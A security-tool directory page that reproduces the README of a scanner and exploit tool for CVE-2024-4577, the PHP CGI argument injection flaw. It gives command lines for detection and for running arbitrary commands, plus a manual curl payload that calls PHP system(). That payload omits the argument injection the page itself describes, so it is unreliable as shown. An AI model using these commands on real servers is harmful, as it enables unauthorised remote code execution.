Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/r0otk3r/cve-2024-4577
Vulnerability ScannersExploitationWeb Application ExploitationPenetration TestingCommand and ControlLearning & Education
GitHubr0otk3r/cve-2024-4577

CVE-2024-4577

Scanner and exploit tool for CVE-2024-4577, a PHP CGI argument injection vulnerability enabling remote code execution on Windows systems. Includes detection and command execution modules.

View Repository
461 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    1.1k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    618
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    407
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    324
  • 5

    jumpserver

    jumpserver/jumpserver

    JumpServer is an open-source Privileged Access Management (PAM) platform that provides DevOps and IT teams with on-demand and secure access to SSH, RDP, Kubernetes, Database and RemoteApp endpoints through a web browser.

    279
  • 6

    Aliens_eye

    arxhr007/aliens_eye

    AI powered OSINT engine to discover and map 7,700+ social media identities across the web

    270

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2024-4577 - PHP CGI Argument Injection RCE

Summary

CVE-2024-4577 is a critical PHP CGI argument injection vulnerability that affects Windows systems running PHP in CGI mode. This flaw allows remote attackers to inject arguments into PHP's command line via specially crafted URLs, leading to remote code execution (RCE).

This repository includes:

  • CVE-2024-4577.py: A scanner to detect vulnerable targets.
  • exploit.py: An exploit tool that sends PHP code and executes system commands on the vulnerable server.

⚠️ DISCLAIMER
This project is for educational and authorized testing only. Any misuse of this code is not the responsibility of the author. Use responsibly and only in environments you own or have explicit permission to test.


Requirements

  • Python 3.x
  • requests library

Install dependencies:

pip install -r requirements.txt

Scanner Usage

Detect if a target is vulnerable to CVE-2024-4577:

Single Target

python3 CVE-2024-4577.py -u http://target.com

1

Multiple Targets from File

python3 CVE-2024-4577.py -f urls.txt

2

Custom Path (optional)

python3 CVE-2024-4577.py -u http://target.com -p /custom/path.php

Example Vulnerable Paths

The scanner and exploit test common CGI endpoints like:

/php-cgi/php-cgi.exe
/index.php
/test.php
/test.hello

The payload bypasses cgi.force_redirect and prepends malicious PHP using php://input.


Exploit Usage

Execute arbitrary system commands on a vulnerable target:

Single Target

python3 exploit.py -u http://target.com -c "id"

4

Multiple Targets from File

python3 exploit.py -f urls.txt -c "id"

5

Using curl

You can also exploit the vulnerability manually using curl

curl -X POST http://target.com/php-cgi/php-cgi.exe -d "<?php system('uname -a'); ?>"

This sends a PHP payload that executes uname -a on the server and returns the output.

3

License

This code is released under the MIT License. See LICENSE for more information.


Official Channels

  • YouTube @rootctf
  • X @r0otk3r
Download Tool